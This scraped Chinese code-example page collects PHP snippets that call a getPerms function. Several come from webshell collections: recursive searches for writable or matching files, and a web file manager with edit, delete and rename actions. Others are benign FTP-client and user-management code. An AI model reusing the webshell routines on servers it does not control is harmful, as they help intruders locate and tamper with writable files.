• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

PHP getPerms函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中getPerms函数的典型用法代码示例。如果您正苦于以下问题:PHP getPerms函数的具体用法?PHP getPerms怎么用?PHP getPerms使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了getPerms函数的8个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: GetSFileList

function GetSFileList($dir, $content, $re = 0)
{
    global $filedata, $j, $nowpath, $writabledb;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $ext = getextension($file);
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                GetSFileList($f, $content, $re = 0);
            } elseif ($file != '.' && $file != '..' && is_file($f) && in_array($ext, explode(',', $writabledb))) {
                $find = 0;
                if ($re) {
                    if (preg_match('@' . $content . '@', $file) || preg_match('@' . $content . '@', @file_get_contents($f))) {
                        $find = 1;
                    }
                } else {
                    if (strstr($file, $content) || strstr(@file_get_contents($f), $content)) {
                        $find = 1;
                    }
                }
                if ($find) {
                    $filedata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $filedata[$j]['size'] = sizecount(@filesize($f));
                    $filedata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $filedata[$j]['filechmod'] = getChmod($f);
                    $filedata[$j]['fileperm'] = getPerms($f);
                    $filedata[$j]['fileowner'] = getUser($f);
                    $filedata[$j]['dirlink'] = $dir;
                    $filedata[$j]['server_link'] = $f;
                    $filedata[$j]['client_link'] = ue($f);
                    $j++;
                }
            }
        }
        closedir($dh);
        clearstatcache();
        return $filedata;
    } else {
        return array();
    }
}
开发者ID:mcanv,项目名称:webshell,代码行数:42,代码来源:2009mssql.php


示例2: GetWFileList

function GetWFileList($dir)
{
    global $filedata, $j, $nowpath;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $ext = getextension($file);
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                GetWFileList($f);
            } elseif ($file != '.' && $file != '..' && is_file($f)) {
                if (is_writable($f)) {
                    $filedata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $filedata[$j]['size'] = sizecount(@filesize($f));
                    $filedata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $filedata[$j]['filechmod'] = getChmod($f);
                    $filedata[$j]['fileperm'] = getPerms($f);
                    $filedata[$j]['fileowner'] = getUser($f);
                    $filedata[$j]['dirlink'] = $dir;
                    $filedata[$j]['server_link'] = $f;
                    $filedata[$j]['client_link'] = ue($f);
                    $j++;
                }
            }
        }
        closedir($dh);
        clearstatcache();
        return $filedata;
    } else {
        return array();
    }
}
开发者ID:retanoj,项目名称:webshellSample,代码行数:32,代码来源:091f4d33fe8f9ccfc76a0976a54396ad.php


示例3: GetList

function GetList($dir)
{
    global $dirdata, $j, $nowpath;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                if (is_writable($f)) {
                    $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $dirdata[$j]['dirchmod'] = getChmod($f);
                    $dirdata[$j]['dirperm'] = getPerms($f);
                    $dirdata[$j]['dirlink'] = ue($dir);
                    $dirdata[$j]['server_link'] = $f;
                    $dirdata[$j]['client_link'] = ue($f);
                    $j++;
                }
                GetList($f);
            }
        }
        closedir($dh);
        clearstatcache();
        return $dirdata;
    } else {
        return array();
    }
}
开发者ID:huntergregal,项目名称:tools,代码行数:28,代码来源:godshell.php


示例4: closedir

    closedir($a);
    foreach ($dirs as $d) {
        $d2 = ($dire == ".//" ? "" : $dire) . $d;
        $d3 = $dir != $root ? "dir=" . $dir . "&" : "";
        print "<tr><td><a href=\"?dir=" . $d2 . "\">" . $d . "</a></td><td>Directory</td>";
        print "<td>" . getPerms($d2) . "</td><td>" . dirsize($d2) . " kb</td><td>" . getLastModific($d2) . "</td>";
        print "<td><a href=\"?" . $d3 . "mode=deletedir&d=" . $d . "\">D</a>&nbsp;";
        print "<a href=\"?" . $d3 . "mode=rename&file=" . $d . "\">R</a></td></tr>";
    }
    foreach ($files as $file) {
        $file2 = $dire . $file;
        $d3 = $dir != $root ? "dir=" . $dir . "&" : "";
        print "<tr><td><a target=\"_blank\" href=\"" . $file2 . "\">" . $file . "</a></td>";
        $ex = pathinfo($file2);
        print "<td>File " . (empty($ex['extension']) ? "sconosciuto" : $ex['extension']) . "</td>";
        print "<td>" . getPerms($file2) . "</td><td>" . Size($file2) . " kb</td><td>" . getLastModific($file2) . "</td>";
        print "<td><a title='Edit' href=\"?" . $d3 . "mode=edit&file=" . $file . "\">E</a>&nbsp;";
        print "<a title='Delete' href=\"?" . $d3 . "mode=delete&file=" . $file . "\">D</a>&nbsp;";
        print "<a title='Rename' href=\"?" . $d3 . "mode=rename&file=" . $file . "\">R</a>&nbsp;";
        //print "<a title='Move' href=\"?".$d3."mode=move&file=".$file."\">M</a></td></tr>";
    }
    ?>

			</table>

			<?php 
    if (isset($_GET['mode']) && $_GET['mode'] == "rename") {
        ?>

			<form action="" name="rename" method="post">
开发者ID:ASDAFF,项目名称:Shells-Database,代码行数:30,代码来源:cshell.php


示例5: PermsColor

function PermsColor($f)
{
    if (!is_readable($f)) {
        return '<span class="red">' . getPerms($f) . '</span>';
    } elseif (!is_writable($f)) {
        return '<span class="black">' . getPerms($f) . '</span>';
    } else {
        return '<span class="green">' . getPerms($f) . '</span>';
    }
}
开发者ID:retanoj,项目名称:webshellSample,代码行数:10,代码来源:2e8d3bf70d3d7eceb33859459b18c40b.php


示例6: copyFolder

function copyFolder($folder, $dir_destin, $dir_source)
{
    global $conn_id;
    global $serverTmp;
    global $lang_folder_cant_access;
    global $lang_folder_exists;
    global $lang_folder_cant_chmod;
    global $lang_folder_cant_make;
    global $lang_server_error_down;
    global $lang_file_cant_chmod;
    global $lang_chmod_no_support;
    $isError = 0;
    // Check if ftp_chmod() exists
    if (!function_exists('ftp_chmod')) {
        $_SESSION["errors"][] = $lang_chmod_no_support;
    }
    // Check source folder exists
    if (!@ftp_chdir($conn_id, $dir_source . "/" . $folder)) {
        if (checkFirstCharTilde($dir_source) == 1) {
            if (!@ftp_chdir($conn_id, replaceTilde($dir_source) . "/" . $folder)) {
                recordFileError("folder", tidyFolderPath($dir_destin, $folder), $lang_folder_cant_access);
                $isError = 1;
            }
        } else {
            recordFileError("folder", tidyFolderPath($dir_destin, $folder), $lang_folder_cant_access);
            $isError = 1;
        }
    }
    if ($isError == 0) {
        // Check if destination folder exists
        if (checkFileExists("d", $folder, $dir_destin) == 1) {
            recordFileError("folder", tidyFolderPath($dir_destin, $folder), $lang_folder_exists);
        } else {
            // Create the new folder
            if (!@ftp_mkdir($conn_id, $dir_destin . "/" . $folder)) {
                if (checkFirstCharTilde($dir_destin) == 1) {
                    if (!@ftp_mkdir($conn_id, replaceTilde($dir_destin) . "/" . $folder)) {
                        recordFileError("folder", tidyFolderPath($dir_destin, $folder), $lang_folder_cant_make);
                        $isError = 1;
                    }
                } else {
                    recordFileError("folder", tidyFolderPath($dir_destin, $folder), $lang_folder_cant_make);
                    $isError = 1;
                }
            }
        }
    }
    if ($isError == 0) {
        // Copy permissions (Lin)
        if ($_SESSION["win_lin"] == "lin" || $_SESSION["win_lin"] == "mac") {
            $mode = getPerms($dir_source, $folder);
            $lang_folder_cant_chmod = str_replace("[perms]", $mode, $lang_folder_cant_chmod);
            if (function_exists('ftp_chmod')) {
                if (!@ftp_chmod($conn_id, $mode, $dir_destin . "/" . $folder)) {
                    if (checkFirstCharTilde($dir_destin) == 1) {
                        if (!@ftp_chmod($conn_id, $mode, replaceTilde($dir_destin) . "/" . $folder)) {
                            recordFileError("folder", $folder, $lang_folder_cant_chmod);
                        }
                    } else {
                        recordFileError("folder", $folder, $lang_folder_cant_chmod);
                    }
                }
            }
        }
        // Go through array of files/folders
        $ftp_rawlist = getFtpRawList($dir_source . "/" . $folder);
        if (is_array($ftp_rawlist)) {
            $count = 0;
            foreach ($ftp_rawlist as $ff) {
                $count++;
                $isDir = 0;
                $isError = 0;
                // Split up array into values (Lin)
                if ($_SESSION["win_lin"] == "lin") {
                    $ff = preg_split("/[\\s]+/", $ff, 9);
                    $perms = $ff[0];
                    $file = $ff[8];
                    if (getFileType($perms) == "d") {
                        $isDir = 1;
                    }
                }
                // Split up array into values (Mac)
                // skip first line
                if ($_SESSION["win_lin"] == "mac") {
                    if ($count == 1) {
                        continue;
                    }
                    $ff = preg_split("/[\\s]+/", $ff, 9);
                    $perms = $ff[0];
                    $file = $ff[8];
                    if (getFileType($perms) == "d") {
                        $isDir = 1;
                    }
                }
                // Split up array into values (Win)
                if ($_SESSION["win_lin"] == "win") {
                    $ff = preg_split("/[\\s]+/", $ff, 4);
                    $size = $ff[2];
                    $file = $ff[3];
                    if ($size == "<DIR>") {
//.........这里部分代码省略.........
开发者ID:joyeop,项目名称:Monsta-FTP,代码行数:101,代码来源:index.php


示例7: redirect

        $_SESSION['pefi_user'] = $user;
        // will redirect page
        redirect(isset($_GET['redirect_to']) ? $_GET['redirect_to'] : '');
    } else {
        $_PEFI->view->content .= get_form("Try again!");
    }
} elseif ($todo == 'logout') {
    unset($_SESSION['pefi_user']);
    redirect(isset($_GET['redirect_to']) ? $_GET['redirect_to'] : '');
} elseif (strpos($todo, 'manage') === 0) {
    if (!$_PEFI->crdntls->can('user', 'list')) {
        redirect_to_login($_PEFI->route->page);
    }
    include "{$_PEFI->path}/form/form.php";
    if ($todo == 'manage_pass') {
        $label = 'Manage User Passwords';
        $elements = array(new PrimaryKeyElement(array('prop' => 'id', 'label' => 'PrimKey', 'isOrderable' => true)), new TextElement(array('prop' => 'name', 'label' => 'User', 'isEditable' => false, 'isOrderable' => true, 'isDefOrder' => true, 'isFilterable' => true, 'isOrderable' => true, 'allowEmpty' => false)), new PasswordElement(array('prop' => 'pass', 'label' => 'Password', 'isListable' => false, 'allowEmpty' => false, 'defVal' => 'Abcd123!')));
    } else {
        $label = 'Manage Users';
        $elements = array(new PrimaryKeyElement(array('prop' => 'id', 'label' => 'PrimKey', 'isOrderable' => true)), new TextElement(array('prop' => 'name', 'label' => 'User', 'isOrderable' => true, 'isDefOrder' => true, 'isFilterable' => true, 'allowEmpty' => false)), new TextElement(array('prop' => 'lang', 'label' => 'Default Language', 'isFilterable' => true, 'isOrderable' => true, 'defSearchOp' => '=', 'allowEmpty' => false, 'defVal' => 'en')), new ScolonSepListGroupElement(array('prop' => 'perms', 'label' => 'Permissions', 'items' => getPerms(), 'isSearchMulti' => true)));
    }
    $form = new TableForm(array('label' => $label, 'elements' => $elements, 'table' => new OneTableDB($_PEFI->db, "{$_PEFI->dbpref}user"), 'lock' => $_PEFI->lock, 'logger' => new Logger(Logger::INFO, array(new FileLoggerOutput('_log/user.log'))), 'credentials' => $_PEFI->crdntls, 'canDelete' => true, 'filter' => $_GET, 'decorator' => isset($_GET['json']) ? JsonDecorator::get() : HtmlDecorator::get()));
    $_PEFI->view->head = $_PEFI->form->head;
    $_PEFI->view->head .= '<script type="text/javascript">PEFI.CRUD.edit_mode="popup";</script>';
    $_PEFI->view->content = $form->handle($_SERVER['REQUEST_METHOD'], $_POST);
} elseif ($_PEFI->user) {
    // will redirect page
    redirect();
} else {
    $_PEFI->view->content .= get_form();
}
开发者ID:sziszu,项目名称:pefi,代码行数:31,代码来源:_action.php


示例8: copyFolder

function copyFolder($folder, $dir_destin, $dir_source)
{
    global $conn_id;
    global $serverTmp;
    global $lang_folder_cant_access;
    global $lang_folder_exists;
    global $lang_folder_cant_chmod;
    global $lang_folder_cant_make;
    global $lang_server_error_down;
    global $lang_file_cant_chmod;
    // Check folder exists
    if (!@ftp_chdir($conn_id, $dir_source . "/" . $folder)) {
        $_SESSION["errors"][] = str_replace("[folder]", "<strong>" . tidyFolderPath($dir_destin, $folder) . "</strong>", $lang_folder_cant_access);
    } else {
        $ftp_rawlist = getFtpRawList($dir_source . "/" . $folder);
        // Check if folder exists
        if (checkFileExists("d", $folder, $dir_destin) == 1) {
            $_SESSION["errors"][] = str_replace("[folder]", "<strong>" . tidyFolderPath($dir_destin, $folder) . "</strong>", $lang_folder_exists);
        } else {
            // Create the new folder
            if (@ftp_mkdir($conn_id, $dir_destin . "/" . $folder)) {
                // Copy permissions (Lin)
                if ($_SESSION["win_lin"] == "lin") {
                    $mode = getPerms($dir_source, $folder);
                    if (!@ftp_chmod($conn_id, $mode, $dir_destin . "/" . $folder)) {
                        $lang_folder_cant_chmod = str_replace("[perms]", $perms, $lang_folder_cant_chmod);
                        $lang_folder_cant_chmod = str_replace("[folder]", $folder, $lang_folder_cant_chmod);
                        $_SESSION["errors"][] = $lang_folder_cant_chmod;
                    }
                }
            } else {
                $_SESSION["errors"][] = str_replace("[folder]", "<strong>" . tidyFolderPath($dir_destin, $folder) . "</strong>", $lang_folder_cant_make);
            }
        }
        // Go through array of files/folders
        foreach ($ftp_rawlist as $ff) {
            $isDir = 0;
            // Split up array into values (Lin)
            if ($_SESSION["win_lin"] == "lin") {
                $ff = preg_split("/[\\s]+/", $ff, 9);
                $perms = $ff[0];
                $file = $ff[8];
                if (getFileType($perms) == "d") {
                    $isDir = 1;
                }
            }
            // Split up array into values (Win)
            if ($_SESSION["win_lin"] == "win") {
                $ff = preg_split("/[\\s]+/", $ff, 4);
                $size = $ff[2];
                $file = $ff[3];
                if ($size == "<DIR>") {
                    $isDir = 1;
                }
            }
            if ($file != "." && $file != "..") {
                // Check for sub folders and then perform this function
                if (getFileType($perms) == "d") {
                    copyFolder($file, $dir_destin . "/" . $folder, $dir_source . "/" . $folder);
                } else {
                    $fp1 = $serverTmp . "/" . $file;
                    $fp2 = $dir_source . "/" . $folder . "/" . $file;
                    $fp3 = $dir_destin . "/" . $folder . "/" . $file;
                    if (!@ftp_get($conn_id, $fp1, $fp2, FTP_BINARY)) {
                        $_SESSION["errors"][] = str_replace("[file]", "<strong>" . $file . "</strong>", $lang_server_error_down);
                    } else {
                        if (@ftp_put($conn_id, $fp3, $fp1, FTP_BINARY)) {
                            // Chmod files (Lin)
                            if ($_SESSION["win_lin"] == "lin") {
                                $perms = getChmodNumber($perms);
                                $mode = formatChmodNumber($perms);
                                if (!@ftp_chmod($conn_id, $mode, $fp3)) {
                                    $lang_file_cant_chmod = str_replace("[perms]", $perms, $lang_file_cant_chmod);
                                    $lang_file_cant_chmod = str_replace("[file]", $file, $lang_file_cant_chmod);
                                    $_SESSION["errors"][] = $lang_file_cant_chmod;
                                }
                            }
                        } else {
                            $_SESSION["errors"][] = str_replace("[file]", "<strong>" . $file . "</strong>", $lang_server_error_up);
                        }
                    }
                }
            }
        }
    }
}
开发者ID:inscriptionweb,项目名称:MonstaFTP,代码行数:86,代码来源:index.php



注:本文中的getPerms函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP getPlayerName函数代码示例发布时间:2022-05-15
下一篇:
PHP getPermittedFieldsQuery函数代码示例发布时间:2022-05-15
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap